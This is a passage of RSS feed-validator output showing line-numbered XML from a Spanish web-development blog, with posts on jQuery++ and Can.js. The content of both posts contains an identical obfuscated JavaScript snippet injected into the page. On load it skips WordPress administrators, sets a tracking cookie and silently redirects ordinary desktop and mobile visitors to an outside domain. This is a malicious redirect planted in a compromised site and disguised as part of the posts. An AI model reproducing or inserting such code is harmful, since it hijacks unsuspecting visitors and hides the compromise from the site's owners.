  498. <ul><li><a href="https://www.anieto2k.com/2012/05/18/sass-vs-less-cual-es-mejor/" rel="bookmark" title="Permanent Link: SASS vs LESS, ¿cual es mejor?">SASS vs LESS, ¿cual es mejor?</a></li><li><a href="https://www.anieto2k.com/2009/04/27/basejs-un-framework-js-exclusivo-para-el-iphone/" rel="bookmark" title="Permanent Link: BaseJS, un framework JS exclusivo para el iPhone">BaseJS, un framework JS exclusivo para el iPhone</a></li><li><a href="https://www.anieto2k.com/2006/09/12/primeros-ejemplos-de-uso-de-mootools/" rel="bookmark" title="Permanent Link: Primeros ejemplos de uso de MooTools">Primeros ejemplos de uso de MooTools</a></li><li><a href="https://www.anieto2k.com/2010/10/24/twitterweek-2010-10-24/" rel="bookmark" title="Permanent Link: TwitterWeek &#8211; 2010-10-24">TwitterWeek &#8211; 2010-10-24</a></li><li><a href="https://www.anieto2k.com/2009/09/27/permisos-y-capacidades-en-wordpress/" rel="bookmark" title="Permanent Link: Permisos y capacidades en WordPress">Permisos y capacidades en WordPress</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  499. <wfw:commentRss>https://www.anieto2k.com/2012/06/07/onx-extiende-las-capacidades-de-tu-android-con-javascript/feed/</wfw:commentRss>
  500. <slash:comments>3</slash:comments>
  501. </item>
  502. <item>
  503. <title>jQuery++, personaliza tu librería jQuery</title>
  504. <link>https://www.anieto2k.com/2012/06/07/jquery-personaliza-tu-libreria-jquery/</link>
  505. <comments>https://www.anieto2k.com/2012/06/07/jquery-personaliza-tu-libreria-jquery/#comments</comments>
  506. <pubDate>Thu, 07 Jun 2012 08:21:39 +0000</pubDate>
  507. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  508. <category><![CDATA[Asides]]></category>
  509. <category><![CDATA[javascript]]></category>
  510. <category><![CDATA[Programacion]]></category>
  511. <category><![CDATA[webdev]]></category>
  512.  
  513. <guid isPermaLink="false">https://www.anieto2k.com/?p=10498</guid>
  514. <description><![CDATA[jQuery++ nace para solventar la problemática de cargar más javascript del estrictamente necesario en nuestras aplicaciones web. Mediante esta aplicación será posible añadir a tu jQuery una serie de herramientas con el tamaño mínimo posible.[Via]Artículos relacionados jQuery, otra librería para AjaxjQuery 1.0 ha salido para mostrarnos la luzjQuery Puzzle, una nueva aplicación de esta gran [&#8230;]]]></description>
  515. <content:encoded><![CDATA[<a href="http://jquerypp.com/">jQuery++</a> nace para solventar la problemática de cargar más javascript del estrictamente necesario en nuestras aplicaciones web. Mediante esta aplicación será posible añadir a tu jQuery una serie de herramientas con el tamaño mínimo posible.[<a href="http://www.colordeu.es/BLOG/jquery-selecciona-los-plugins-jquery-en-un-unico-archivo-para-tu-web">Via</a>]<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  516. <ul><li><a href="https://www.anieto2k.com/2006/01/21/jquery-otra-libreria-para-ajax/" rel="bookmark" title="Permanent Link: jQuery, otra librería para Ajax">jQuery, otra librería para Ajax</a></li><li><a href="https://www.anieto2k.com/2006/08/30/jquery-10-ha-salido-para-mostrarnos-la-luz/" rel="bookmark" title="Permanent Link: jQuery 1.0 ha salido para mostrarnos la luz">jQuery 1.0 ha salido para mostrarnos la luz</a></li><li><a href="https://www.anieto2k.com/2006/11/05/jquery-puzzle-una-nueva-aplicacion-de-esta-gran-libreria/" rel="bookmark" title="Permanent Link: jQuery Puzzle, una nueva aplicación de esta gran librería">jQuery Puzzle, una nueva aplicación de esta gran librería</a></li><li><a href="https://www.anieto2k.com/2006/09/14/40-librerias-para-trabajar-con-ajax-y-creciendo/" rel="bookmark" title="Permanent Link: 40 librerías para trabajar con Ajax y creciendo">40 librerías para trabajar con Ajax y creciendo</a></li><li><a href="https://www.anieto2k.com/2010/02/23/domcached-libreria-para-facilitar-el-almacenamiento-dom-con-jquery-y-prototype/" rel="bookmark" title="Permanent Link: DOMCached, librería para facilitar el almacenamiento DOM con jQuery y Prototype">DOMCached, librería para facilitar el almacenamiento DOM con jQuery y Prototype</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  517. <wfw:commentRss>https://www.anieto2k.com/2012/06/07/jquery-personaliza-tu-libreria-jquery/feed/</wfw:commentRss>
  518. <slash:comments>0</slash:comments>
  519. </item>
  520. <item>
  521. <title>Can.js, framework JS para enriquecer tus aplicaciones Web</title>
  522. <link>https://www.anieto2k.com/2012/06/06/can-js-framework-js-para-enriquecer-tus-aplicaciones-web/</link>
  523. <comments>https://www.anieto2k.com/2012/06/06/can-js-framework-js-para-enriquecer-tus-aplicaciones-web/#comments</comments>
  524. <pubDate>Wed, 06 Jun 2012 10:33:57 +0000</pubDate>
  525. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  526. <category><![CDATA[javascript]]></category>
  527. <category><![CDATA[Programacion]]></category>
  528. <category><![CDATA[webdev]]></category>
  529.  
  530. <guid isPermaLink="false">https://www.anieto2k.com/?p=10493</guid>
  531. <description><![CDATA[Can.js, es un framework creado para facilitar la creación de aplicaciones ricas en javascript gracias a la integración de herramientas que nos permiten gestionar el código que desarrollamos. var Todo = can.Construct({ init: function( text ) { this.text = text }, read: function() { console.log( this.text ); } }) var todo = new Todo( 'Hello [&#8230;]]]></description>
  532. <content:encoded><![CDATA[<a href="http://canjs.us/">Can.js</a>, es un framework creado para facilitar la creación de aplicaciones ricas en javascript gracias a la integración de herramientas que nos permiten gestionar el código que desarrollamos.
  533. <pre><code>var Todo = can.Construct({
  534.  init: function( text ) {
  535.    this.text = text
  536.  },
  537.  read: function() {
  538.    console.log( this.text );
  539.  }
  540. })
  541.  
  542. var todo = new Todo( 'Hello World' );
  543. todo.read()</code></pre>
  544. Facilitando las herramientas por separado nos permite definir nuestro propio patrón de desarrollo o usar el típico y efectivo MVC para gestionar una gran aplicación web.
  545. <ul>
  546. <li><strong>can.Construct</strong> - Constructor de <a href="https://www.anieto2k.com/2009/02/14/programacion-orientada-a-objetos-en-javascript-2/">objetos javascript</a></li>
  547. <li><strong>can.Observe</strong> - <a href="https://www.anieto2k.com/2011/02/13/modularizar-aplicaciones-escalables-javascript-con-poa/">gestión de eventos clave - valor</a></li>
  548. <li><strong>can.Model</strong> - Modelo de datos conectado via REST JSON</li>
  549. <li><strong>can.view</strong> - Motor de plantillas</li>
  550. <li><strong>can.EJS</strong> - Lenguaje propio de plantillas con helpers</li>
  551. <li><strong>can.Control</strong> - Directiva de control de eventos</li>
  552. <li><strong>can.route</strong> - Soporte de routing</li>
  553. </ul>
  554. <a href="http://canjs.us/#why_canjs">Lo mejor de Can.j</a>s, es:
  555. <ul>
  556. <li>Tamaño, en solo 8.5kb dispones de las mismas herramientas que ofrecen otros frameworks.</li>
  557. <li>Facilidad de uso, es una de las premisas por las que crearon este framework.</li>
  558. <li>Seguridad, no acerca herramientas muy completas para gestionar nuestros objetos y evitar que la cosa se desmadre.</li>
  559. <li>Velocidad, comparado con otros frameworks de similares capacidades promete mejores resultados en ejecuciones cruciales de desarrollo.</li>
  560. <li>Flexibilidad, facil de implementar tus propios plugins para añadirles funcionalidades nuevas</li>
  561. </ul>
  562. Además, está disponible para las principales librerías javascript:
  563. <ul>
  564. <li><a href="https://github.com/downloads/jupiterjs/canjs/can.jquery-1.0.5.js">can.jquery.js</a> (<a href="https://github.com/downloads/jupiterjs/canjs/can.jquery-1.0.5.min.js">min</a>) - 8.5k - <a href="http://donejs.com/can/docs/can.jquery.html">Annotated Source</a></li>
  565. <li><a href="https://github.com/downloads/jupiterjs/canjs/can.zepto-1.0.5.js">can.zepto.js</a> (<a href="https://github.com/downloads/jupiterjs/canjs/can.zepto-1.0.5.min.js">min</a>) - 10.2k - <a href="http://donejs.com/can/docs/can.zepto.html">Annotated Source</a></li>
  566. <li><a href="https://github.com/downloads/jupiterjs/canjs/can.dojo-1.0.5.js">can.dojo.js</a> (<a href="https://github.com/downloads/jupiterjs/canjs/can.dojo-1.0.5.min.js">min</a>) - 10.8k - <a href="http://donejs.com/can/docs/can.dojo.html">Annotated Source</a></li>
  567. <li><a href="https://github.com/downloads/jupiterjs/canjs/can.mootools-1.0.5.js">can.mootools.js</a> (<a href="https://github.com/downloads/jupiterjs/canjs/can.mootools-1.0.5.min.js">min</a>) - 10.7k - <a href="http://donejs.com/can/docs/can.mootools.html">Annotated Source</a></li>
  568. <li><a href="https://github.com/downloads/jupiterjs/canjs/can.yui-1.0.5.js">can.yui.js</a> (<a href="https://github.com/downloads/jupiterjs/canjs/can.yui-1.0.5.min.js">min</a>) - 10.2k - <a href="http://donejs.com/can/docs/can.yui.html">Annotated Source</a></li>
  569. </ul>
  570. <script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  571. <ul><li><a href="https://www.anieto2k.com/2007/01/13/usar-o-no-un-framework-para-nuestras-aplicaciones/" rel="bookmark" title="Permanent Link: Usar o no un Framework para nuestras aplicaciones">Usar o no un Framework para nuestras aplicaciones</a></li><li><a href="https://www.anieto2k.com/2006/10/11/los-frameworks-js-mas-usados/" rel="bookmark" title="Permanent Link: Los frameworks JS más usados">Los frameworks JS más usados</a></li><li><a href="https://www.anieto2k.com/2007/05/09/%c2%bftiene-javascript-los-dias-contados/" rel="bookmark" title="Permanent Link: ¿Tiene javascript los días contados?">¿Tiene javascript los días contados?</a></li><li><a href="https://www.anieto2k.com/2008/03/29/12-frameworks-css-que-deberias-conocer/" rel="bookmark" title="Permanent Link: 12 frameworks CSS que deberías conocer">12 frameworks CSS que deberías conocer</a></li><li><a href="https://www.anieto2k.com/2006/09/14/microsoft-atlas-framework-para-el-desarrollo-de-aplicaciones-ajax-a-traves-de-visualstudio/" rel="bookmark" title="Permanent Link: Microsoft Atlas, framework para el desarrollo de aplicaciones Ajax a través de VisualStudio">Microsoft Atlas, framework para el desarrollo de aplicaciones Ajax a través de VisualStudio</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  572. <wfw:commentRss>https://www.anieto2k.com/2012/06/06/can-js-framework-js-para-enriquecer-tus-aplicaciones-web/feed/</wfw:commentRss>
  573. <slash:comments>8</slash:comments>
  574. </item>
  575. </channel>
  576. </rss>
  577.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid RSS" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=https%3A//www.anieto2k.com/feed/

Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda